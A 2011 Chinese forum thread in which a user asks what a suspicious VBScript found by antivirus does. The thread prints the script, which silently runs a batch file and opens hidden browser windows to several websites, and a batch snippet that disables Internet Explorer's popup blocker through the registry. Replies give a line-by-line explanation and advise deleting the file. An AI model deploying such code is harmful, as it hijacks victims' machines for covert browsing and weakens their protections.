懂VB脚本的进 = =求高人指点

社区服务
高级搜索
猴岛论坛电脑百科懂VB脚本的进 = =求高人指点
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
« 返回列表
8个回复

[资源分享]懂VB脚本的进 = =求高人指点

 楼层直达
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看楼主 使用道具 楼主   发表于: 2011-03-26 0
Set Wsr = WScript.CreateObject("WScript.Shell")

'下面表示延迟启动的时间，单位毫秒。
WScript.Sleep(100)
On Error Resume Next
WScript.Sleep(600000)
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False
WScript.Sleep(500)
Set objExplorer = CreateObject("InternetExplorer.Application")
objExplorer.Navigate "http://www.xingzhee.cn"
objExplorer.Visible = 0
Wscript.Sleep 20000
WScript.Sleep(200000)
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False
WScript.Sleep(500)
Set objExplorer = CreateObject("InternetExplorer.Application")
objExplorer.Navigate "http://www.aooov.cn"
objExplorer.Visible = 0
Wscript.Sleep 20000
WScript.Sleep(200000)
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False
WScript.Sleep(500)
Set objExplorer = CreateObject("InternetExplorer.Application")
objExplorer.Navigate "http://aiting.aooov.cn"
objExplorer.Visible = 1
Wscript.Sleep 20000


这段代码是什么意思？

今天我用360查杀木马发现了个叫VOR.BAT的批量处理文件 我找到他编辑 就看到了这段代码

@echo off
start C:\WINDOWS\system32\gpg.vbe
exit


我顺着这路径找到了名叫GPG.VBE的VBE脚本

但是我看不懂求高人解释啊
打赏 收藏 新鲜事

相关主题



回复 引用
　 鲜花[0]　 鸡蛋[0]
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看该作者 沙发   发表于: 2011-03-26 0
竟然还给我打了备注

'下面表示延迟启动的时间，单位毫秒。
本文来自猴岛论坛 ：http://bbs.houdao.com/r4545643_u5901231/


回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看该作者 板凳   发表于: 2011-03-26 0
这段脚本搞死人了

搞到我台电脑卡的死= =

我找到那个gpg.vbe 后直接粉碎了

这样处理行不


回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看该作者 地板   发表于: 2011-03-26 0
@echo off
echo REGEDIT4>x.reg
echo.
echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\New Windows]>>x.reg
echo "PopupMgr"="no">>x.reg
regedit /s x.reg &del x.reg


Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False
本文来自猴岛论坛 ：http://bbs.houdao.com/r4545643_u5901231/


回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看该作者 4楼  发表于: 2011-03-26 0
objExplorer.Navigate "http://www.xingzhee.cn"
本文来自猴岛论坛 ：http://bbs.houdao.com/r4545643_u5901231/

objExplorer.Navigate "http://aiting.aooov.cn"
本文来自猴岛论坛 ：http://bbs.houdao.com/r4545643_u5901231/
objExplorer.Navigate "http://www.aooov.cn"
本文来自猴岛论坛 ：http://bbs.houdao.com/r4545643_u5901231/

这网站是干什么的？？

我进去看了下= =完全没看懂/


回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
冷漠的纠缠丶

ZxID：10864459

等级: 中校
_______花開若相惜、华落莫相离
举报 只看该作者 5楼  发表于: 2011-03-26 0
楼主的你想表达什么意思 
                              注意 楼主是我妹

楼主留言：

草泥妹 个捞头东啊
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
叶晏

ZxID：11457617

等级: 元老
举报 只看该作者 6楼  发表于: 2011-03-26 0
删掉没问题
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
﹏卡布奇诺丶

ZxID：7923444

等级: 中校
举报 只看该作者 7楼  发表于: 2011-04-04 0
Set Wsr = WScript.CreateObject("WScript.Shell") '创建Shell对象

'下面表示延迟启动的时间，单位毫秒。
WScript.Sleep(100)' 延迟100毫秒
On Error Resume Next ' 遇到错误任然继续运行
WScript.Sleep(600000) ' 延迟10分钟
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False ' 执行C:\WINDOWS\system32\lme.bat
WScript.Sleep(500) ' 延迟500毫秒
Set objExplorer = CreateObject("InternetExplorer.Application") 创建IE对象
objExplorer.Navigate "http://www.xingzhee.cn" ‘IE导航地址改变
objExplorer.Visible = 0  设置可见状态
Wscript.Sleep 20000 '  延迟
WScript.Sleep(200000) ‘延迟
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False ’运行
WScript.Sleep(500) ‘延迟
Set objExplorer = CreateObject("InternetExplorer.Application") ’创建IE对象
objExplorer.Navigate "http://www.aooov.cn" ‘ 导航网址
objExplorer.Visible = 0 ’可见状态
Wscript.Sleep 20000
WScript.Sleep(200000)
Wsr.Run "C:\WINDOWS\system32\lme.bat",0,False
WScript.Sleep(500)
Set objExplorer = CreateObject("InternetExplorer.Application")
objExplorer.Navigate "http://aiting.aooov.cn"
objExplorer.Visible = 1
Wscript.Sleep 20000
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
Ｍｅ、Ｔｏｏ

ZxID：5901231

等级: 大元帅
配偶: 丶_花似毒
举报 只看该作者 8楼  发表于: 2011-04-05 0
回 7楼(﹏卡布奇诺丶) 的帖子
高人啊

这个代码总体来说是干什么的？


回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
« 返回列表
发帖 回复